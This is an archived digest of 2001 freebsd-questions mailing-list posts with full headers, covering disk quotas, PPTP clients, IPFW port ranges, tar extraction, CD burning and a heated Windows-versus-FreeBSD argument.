(envelope-from charon@labs.gr) Date: Tue, 20 Nov 2001 11:39:30 +0200 From: Giorgos Keramidas To: Chops Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Set max folder size Message-ID: <20011120093930.GC61581@hades.hell.gr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-19 21:00:15, Chops wrote: > Is there a way to set a folders maximum size, to keep people from storing > more information than I am willing to allow? Yes, of course. You want to read about `quotas'. The manpages of edquota(8), quotaon(8), quotaoff(8) and rc.conf(5) will help you set it up :) You might also want to check out the relevant Handbook chapter at: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/disks.html -giorgos PS: Please do not `reply' in the middle of an existing thread, and ask a totally different question. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:25:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailgate.rz.uni-karlsruhe.de (mailgate.rz.uni-karlsruhe.de [129.13.64.97]) by hub.freebsd.org (Postfix) with ESMTP id C854637B416 for ; Tue, 20 Nov 2001 11:25:39 -0800 (PST) Received: from wn4-marvin.wn4.uni-karlsruhe.de (steele@wn4-marvin.wn4.uni-karlsruhe.de [172.20.12.211]) by mailgate.rz.uni-karlsruhe.de with smtp (Exim 3.16 #1) id 166GWY-00055m-00; Tue, 20 Nov 2001 20:25:38 +0100 Received: by wn4-marvin.wn4.uni-karlsruhe.de (sSMTP sendmail emulation); Tue, 20 Nov 2001 20:25:46 +0100 Date: Tue, 20 Nov 2001 20:25:46 +0100 From: "Benedikt Schmidt" To: freebsd-questions@freebsd.org Subject: Re: vpn with mpd-netgraph, 4.4-STABLE Message-ID: <20011120202546.C3514@wn4-marvin.wn4.uni-karlsruhe.de> Mail-Followup-To: freebsd-questions@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thor Legvold wrote: > I'm trying to get mpd-netgraph to work so that I can log in to my ISP that > uses PPTP VPN software. I can't help you with mpd but did you try net/pptpclient. I'm using pptpclient+ppp(8) for a connection to our university wireless network. -- Benedikt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:25:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id A585837B417 for ; Tue, 20 Nov 2001 11:25:49 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKJPc567727; Tue, 20 Nov 2001 20:25:38 +0100 (CET) Message-ID: <008501c171f9$233de9a0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jan Grant" Cc: "setantae" , "questions" References: Subject: Re: home pc use Date: Tue, 20 Nov 2001 20:25:32 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jan writes: > You do seem to be able to generate a lot of > heated feelings, but that's by making sweeping > statements on a subject you're no expert in ... No. People with heavy emotional investments in a mere software product generate their own feelings. It's their religion, not mine. To me, it's an academic discussion, and I grew out of religious devotion to any system or software product many years ago. > ... and selectively ignoring potentially helpful > comments on the basis that "new hardware never > breaks". I'm not without experience in IT, and I know that hardware nowadays virtually never breaks. People who immediately suspect hardware are usually trying to protect their feelings of affection for some piece of software, somewhere. Sometimes I think hardware engineers will do the opposite, blaming software for everything, but I don't interact as much with hardware engineers, so I can't confirm this. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:30:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id CCB6437B416 for ; Tue, 20 Nov 2001 11:30:31 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fAKJUM465636; Tue, 20 Nov 2001 13:30:22 -0600 (CST) (envelope-from dan) Date: Tue, 20 Nov 2001 13:30:21 -0600 From: Dan Nelson To: Sheldon Hearn Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Specififying IPFW unpriveleged port ranges with a mask Message-ID: <20011120193021.GE13254@dan.emsphone.com> References: <4881.1006280440@axl.seasidesoftware.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4881.1006280440@axl.seasidesoftware.co.za> User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 20), Sheldon Hearn said: > Hi folks, > > How do I use IPFW's port:mask syntax to specify non-priveleged ports? How about just use range syntax: 1024-65535? I'm not sure why someone would want to use port:mask notation. -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:35: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id A72E237B405 for ; Tue, 20 Nov 2001 11:35:01 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKJYwZ70518; Tue, 20 Nov 2001 20:34:58 +0100 (CET) Message-ID: <008a01c171fa$7110be90$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Andre` Niel Cameron" , "Steve Brown" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <014601c171d2$22ada240$a50410ac@olmct.net> Subject: Re: home pc use Date: Tue, 20 Nov 2001 20:34:52 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG André writes: > I just thought I would add that out of Linux > (RH6.2 or 7.1) Windows (95/98/98SE/ME) and > FreeBSD 4.x FreeBSD wins hands down everytime. No surprise there. All of the consumer Windows products are fairly unstable, and they always have been. Windows 9x and its descendants were a considerable improvement over 16-bit Windows, but the fundamental architectural defects that caused the instability remained. Windows NT/2000 are far more stable, but I suspect that FreeBSD and some other UNIX variants still have the edge, simply because they are simpler operating systems, with less to go wrong. As for Linux, I haven't used it, but given the way it is cobbled together, I'm surprised it runs at all. It still amazes me that production systems are being entrusted to such a hodgepodge of code. Running X under UNIX is a separate issue; I suspect that is no more stable than latter-day versions of Windows. It takes a huge amount of resources to provide a GUI, and most developers yield to the temptation to take shortcuts in the code, too--shortcuts that bypass the OS for performance reasons, and compromise security and stability in the system in so doing. > I agree that KDE is a bit heavy on the system, > but its worth it weight. If you are running KDE on your own desktop, using FreeBSD as essentially a single-user system, that might be true. But it is extremely wasteful on a multiuser system. I would not run any X server on a large system with many users connected; let the users gobble resources on their own workstations, not on the central system. Then again, I'm not sure where you'd run X servers in a multiuser environment--where else is there besides the console? > I think one of my favorite things about BSD > is that when I change things its often as simple > as editing a text file. I like this, too. All the tabs and dialog boxes and what-not of Windows are pretty to look at and friendly for the total novice, but for day-to-day administration, they are a source of inefficiency and frustration for seasoned administrators. And it's virtually impossible to efficiently administer a Windows server remotely. Tweaking the Windows registry is a pain, too. > I found that enjoyable as often with bulky windows > simple config tasks often required the dreaded > reboot:). Yet another advantage of FreeBSD. Actually, at least in theory, very little in Windows requires a reboot, particularly on the industrial-grade Windows systems, such as NT and 2000 (and XP, I guess). But most Windows software is so poorly designed that it modifies or overwrites system files that cannot be reloaded without a boot, so booting is necessary; this is more likely to be the case on the consumer versions, because they aren't as resilient as the professional versions. And when you boot, there's always the chance that whatever change the last software installation made will prevent the system from coming back up, in which case you are very nearly dead in the water. The way I see it, you should never have to boot an operating system at all to make changes, unless you are literally reloading wired kernel modules that simply cannot be taken out of execution (e.g., a dispatcher). To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:43:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id D299337B405 for ; Tue, 20 Nov 2001 11:43:37 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKJhZ071529; Tue, 20 Nov 2001 20:43:35 +0100 (CET) Message-ID: <008f01c171fb$a5108da0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "setantae" Cc: References: <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <20011120131850.GA77414@rhadamanth> <001f01c171cf$430e8ac0$0a00000a@atkielski.com> <20011120150009.GA78153@rhadamanth> Subject: Re: home pc use Date: Tue, 20 Nov 2001 20:43:29 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ceri writes: > We are talking about window managers. Window > managers don't run applications. Yes. That's why an X environment on UNIX that looks and feels like Windows is still useless--because looking like Windows doesn't mean able to execute Windows applications. > It's perfectly possible to run applications > such as Netscape without a window manager. There is a command-line version of Netscape??? Where? > This is not the someotheroperatingsystem-questions@FreeBSD.org list. It seems a lot like the Ihaveonlytwoyearsofexperience@freebsd.org list. > Yes, and you never heard of them, therefore > your statement (which I include below, since > you snipped it) make no sense. Sure it does. All operating systems look very much the same after you've seen a few of them. There are only so many overall architectures that make any sense for an operating system. > I evaluated your competence with FreeBSD. > Nothing more. Yes, that is obvious. > You were stating that a gui environment on FreeBSD > is no more stable than Windows, when you only have > three weeks experience with one window manager on > FreeBSD. The stability of a GUI is independent of the OS over which it executes. > I thought you were looking for a window manager > that doesn't crash. I was actually looking for an X server that would run on Windows, so that I could have a graphic environment for my UNIX interaction from Windows that would be similar to the native Windows environment. I am far less interested in a separate GUI to run on the console, and I only tried that out of curiosity, and as a second choice. > If you change operating system then you need to > realise and accept that you'll be changing the > way you do some things. I did that from the beginning. That's why I used the command-line interface exclusively from the start, and that's why I continue to use it. What I find amusing is that so many people seem to work so hard to make UNIX look like Windows. Is having a GUI really that important ... especially on an operating system that is really designed as a server, and not as a desktop? If you really want just a graphic desktop that badly, why run FreeBSD? Windows or even a Mac is a better choice (or perhaps even Mac OS X, if you feel compelled to have some sort of UNIX flavoring in there somewhere). > You shouldn't be using this list for that purpose. > You should be using newbies@FreeBSD.org. Newbies is not for questions. It's marked in the initial information sent out for that list. > This is an argument. Is it? > If you want useful information, ask a question > and don't make statements. More precisely: Ask a question and take whatever you are told as gospel. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:52:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from clyde.goodleaf.net (piscator.seanet.com [199.181.165.218]) by hub.freebsd.org (Postfix) with ESMTP id DF72137B507 for ; Tue, 20 Nov 2001 11:52:37 -0800 (PST) Received: by clyde.goodleaf.net (Postfix, from userid 1001) id 0192E5BA8; Tue, 20 Nov 2001 11:52:47 -0800 (PST) From: "J. Goodleaf" To: questions@freebsd.org Subject: OT-need advice re: S/MIME solution Date: Tue, 20 Nov 2001 19:52:47 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <20011120195247.0192E5BA8@clyde.goodleaf.net> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, Sorry about being so far OT; y'all are just such a good advice pool. Here's the situation: -Work for a company with no s/mime email solution. -The company is sufficiently large to make quick implementation for the company impractical. -I need a quick solution for 20-30 users and am willing to ignore the rest of the company. -I have some, but not total, control over the network. For example, I can set up mail servers independent of the main systems (which are Lotus Notes). Can anyone recommend a solution, preferably open source, though I'm also willing to consider proprietary stuff, for s/mime? Please cc me directly. Thanks, John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:53:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from florida-wireless.com (mailserver.florida-wireless.com [208.62.145.34]) by hub.freebsd.org (Postfix) with ESMTP id 0AC7F37B416 for ; Tue, 20 Nov 2001 11:53:32 -0800 (PST) Date: Tue, 20 Nov 2001 14:56:50 -0500 Message-Id: <200111201456.AA1966932132@florida-wireless.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: "brain_damaged" Reply-To: To: Subject: untarring a chicken I mean a file X-Mailer: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG When I d/l a file I do a tar -xvzf file.name and it untars in the home directory of the user i have logged in with. Fine. but when I try to untar it to say /home/untarred it won't. get a message saying /home/untarred not found in archive. I tried tar -xvzf file.name /home/untarred and /home/untarred/ and tar -xvz file.name /home/untarred and > /home/untarred and said is a directory. how do I untar something to a specific location or can't I . Yes i read man tar but did not get it from that. thanks md To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 11:56:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13]) by hub.freebsd.org (Postfix) with ESMTP id 5C68B37B405 for ; Tue, 20 Nov 2001 11:56:36 -0800 (PST) Received: from localhost (davidk@localhost) by webs1.accretive-networks.net (8.11.1/8.11.3) with ESMTP id fAKJuP012654; Tue, 20 Nov 2001 11:56:25 -0800 (PST) Date: Tue, 20 Nov 2001 11:56:25 -0800 (PST) From: David Kirchner X-X-Sender: To: brain_damaged Cc: Subject: Re: untarring a chicken I mean a file In-Reply-To: <200111201456.AA1966932132@florida-wireless.com> Message-ID: <20011120115606.P9030-100000@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, brain_damaged wrote: > how do I untar something to a specific location or can't I . > Yes i read man tar but did not get it from that. It's in there. :-) Check out '-C' To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12: 6:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from itouch.co.nz (itouch.co.nz [203.99.66.188]) by hub.freebsd.org (Postfix) with ESMTP id D712D37B405 for ; Tue, 20 Nov 2001 12:06:08 -0800 (PST) Received: from jonc.itouch ([192.168.2.21]) by itouch.co.nz with esmtp (Exim 3.33 #1) id 166H9g-00002g-00; Wed, 21 Nov 2001 09:06:04 +1300 Received: (from jonc@localhost) by jonc.itouch (8.11.6/8.11.6) id fAKK5vN86057; Wed, 21 Nov 2001 09:05:57 +1300 (NZDT) (envelope-from jonc) Date: Wed, 21 Nov 2001 09:05:57 +1300 From: Jonathan Chen To: Pavel Chizhov Cc: freebsd-questions@freebsd.org Subject: Re: Segmentation faults Message-ID: <20011121090557.D85915@jonc.itouch> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from chizhic@mail.ru on Tue, Nov 20, 2001 at 05:29:27PM +0300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 05:29:27PM +0300, Pavel Chizhov wrote: > Hello! > I've obtained a problem trying to execute some large programs (e.g. GAMESS, > quantum chemistry calculation program) after compiling. Every process have been > kicked out after beginnig of execution because of segmentation fault. I've > obtained it as for C modules (borh cc and gcc compilers were used) as for > Fortran modules (both g77 and f2c/gcc compilations were tryed). > My RAM is 1152Mb and swap is 1000Mb. Should I increase the kernel address space > (now NKPDE is 254 - I have an SMP kernel) to solve this problem, or, maybe, > linked sources while compiling with some libraries? Most like you've got a program bug. You'll have to compile with debug, and try to fix the problem in the source. -- Jonathan Chen ---------------------------------------------------------------------- "Opportunity does not knock, it presents itself when you beat down the door" - W.E. Channing To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12: 6:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id F0A2A37B418 for ; Tue, 20 Nov 2001 12:06:21 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKK6Kc76173; Tue, 20 Nov 2001 21:06:20 +0100 (CET) Message-ID: <009201c171fe$d273a270$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Andre` Niel Cameron" Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120024643.B92409@xor.obsecurity.org> <012001c171b5$ac8d86a0$0a00000a@atkielski.com> <014e01c171d4$72316610$a50410ac@olmct.net> Subject: Re: home pc use Date: Tue, 20 Nov 2001 21:06:14 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG André writes: > I would like to say well said. Please do! > ... KDE and Doom:) Wait a minute ... Doom runs on FreeBSD? Does it require X? > I also have a FreeBSD "Server" I acctually > tried running NT and win2k as servers and was > horrified by performance/stability/security. They make excellent servers in certain situations, but not right out of the box, and not without a massive rack of hardware to run on. They are easy for inexperienced administrators to set up. They do have a lot of potential holes, and the initial ease-of-use rapidly becomes fatiguing as you get more and more familiar with the system. I used to run an IIS site. Very easy and friendly to configure, at least initially. But as the days and months wore on, it got more and more tiring to drill down through endless graphic dialog boxes just to change the configuration. And it was slow: on a loaded server, it took time to bring up each box. And very often you had to do things locally, or via incredibly bandwidth-wasteful tools like pcANYWHERE, because remote administration of an NT box in any efficient way is nearly impossible. > NT/2k makes a good file server in a > internal Windows based network. Yes, it speaks native Windows out of the box, and if all you have on the network is Windows, it makes an excellent and secure file server. The real problem is in a heterogenous network, and _especially_ when you need to put things on the big, bad Internet. It's scary the first time you run a test tool against an NT system and see how many ports it has open and waiting for attack. Yes, NT security is rock solid in the kernel, but most of the Internet-style services don't use NT security (which is largely proprietary to Microsoft) and just accept anything from anyone! > This is the first time I have seen someone speak > like this, usually it is death to those who say > windows in a *nix list. Every system has its place. I still recommend Windows desktops and Windows servers in certain environments, particularly small businesses and offices that cannot afford the kind of very technical people needed to run a UNIX system competently. But when you move into the big leagues, and you have servers running at redline all day long, being attacked by young male script kiddies 24 hours a day, with 100% uptime requirements, it's time to hire the experts and install the crusty old UNIX servers and streamline them to do exactly the job you require, no more and no less, with the best possible utilization of resources. And when you move into that realm, something like FreeBSD starts to shine very brightly indeed. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12: 9:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 6A4D937B417 for ; Tue, 20 Nov 2001 12:09:30 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166HCw-0002Uw-00; Tue, 20 Nov 2001 20:09:26 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166HBK-000L5P-00; Tue, 20 Nov 2001 20:07:46 +0000 Date: Tue, 20 Nov 2001 20:07:46 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120200746.GA80963@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120061026.A2767@prayforwind.com> <014601c171d2$22ada240$a50410ac@olmct.net> <008a01c171fa$7110be90$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <008a01c171fa$7110be90$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 08:34:52PM +0100, Anthony Atkielski wrote: > > I would not run any X server on a large system with many > users connected; let the users gobble resources on their own workstations, not > on the central system. The X server runs on the workstation. > Then again, I'm not sure where you'd run X servers in a multiuser > environment--where else is there besides the console? The X server runs on the workstation. Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12: 9:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nsu.ru (b.ns.ssc.nsu.ru [193.124.215.221]) by hub.freebsd.org (Postfix) with ESMTP id F2F3937B416 for ; Tue, 20 Nov 2001 12:08:59 -0800 (PST) Received: from inet.ssc.nsu.ru ([62.76.110.12]) by mail.nsu.ru with esmtp (Exim 3.20 #1) id 166HCG-0007sJ-00 for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 02:08:44 +0600 Received: from localhost (danfe@localhost) by inet.ssc.nsu.ru (8.9.3/8.9.3) with ESMTP id CAA31251 for ; Wed, 21 Nov 2001 02:07:46 +0600 Date: Wed, 21 Nov 2001 02:07:45 +0600 (NOVT) From: Alexey Dokuchaev To: freebsd-questions@freebsd.org Subject: releng4.freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello! There seems to be a problem with ftp://releng4.freebsd.org/, where I usually get installation files and stuff. Starting with snapshot 4.4-20011117-STABLE (and up to current 4.4-20011120-STABLE) almost all files have zero size. Can this be fixed? Thank you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:10:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 2431D37B418 for ; Tue, 20 Nov 2001 12:09:58 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKK9tX76634; Tue, 20 Nov 2001 21:09:56 +0100 (CET) Message-ID: <009f01c171ff$52f176c0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Kutulu" Cc: References: <006901c171b1$f549f760$1401a8c0@tedm.placo.com> <012801c171b6$845a9500$0a00000a@atkielski.com> <013f01c171c7$6ffcbeb0$88682518@longhill1.md.home.com> <002f01c171d0$5e05cfe0$0a00000a@atkielski.com> <02b501c171de$93484530$88682518@longhill1.md.home.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 21:09:49 +0100 MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; boundary="----=_NextPart_000_0099_01C17207.B0C088B0"; protocol="application/x-pkcs7-signature" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0099_01C17207.B0C088B0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Kutulu writes: > Unfortunately, XWin32 runs about $250 for a > single user lisence. Bzzzt! Call me stubborn, but I see something very odd in paying a dozen times more for a client program than I paid for the entire operating system on the server _and_ client combined. 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fAKKC8H42235 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 15:12:08 -0500 (EST) Date: Tue, 20 Nov 2001 15:12:08 -0500 From: "Rex A. Roof" To: freebsd-questions@freebsd.org Subject: burncd & audio cds Message-ID: <20011120151208.A42213@rexroof.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Any time I try to burn audio cds with burncd I end up with a cd full of static. I've taken the .cdr files that I've used to burn these cds and burned them w/out problem on a linux box using cdrecord. Both of these boxes are 4.4 (I've tried 5-current too, though), and the command line I've used is as follows: burncd -s 20 -e raw *cdr fixate I've also tried playing with the speed, and using 'audio' instead of 'raw', I think they're the same thing, though. I've also tried turning on preemphasis, no luck. I should note that I can hear the first few milliseconds of track #1 but after that it's just fuzz. any suggestions? -Rex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 12:17:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 1A77837B41C for ; Tue, 20 Nov 2001 12:17:23 -0800 (PST) Received: (qmail 77599 invoked by uid 100); 20 Nov 2001 20:17:28 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.47704.833972.86216@guru.mired.org> Date: Tue, 20 Nov 2001 14:17:28 -0600 To: questions@freebsd.org Cc: jmz@FreeBSD.org Subject: Enabling TCP/IP in latest XFree86 port? X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: 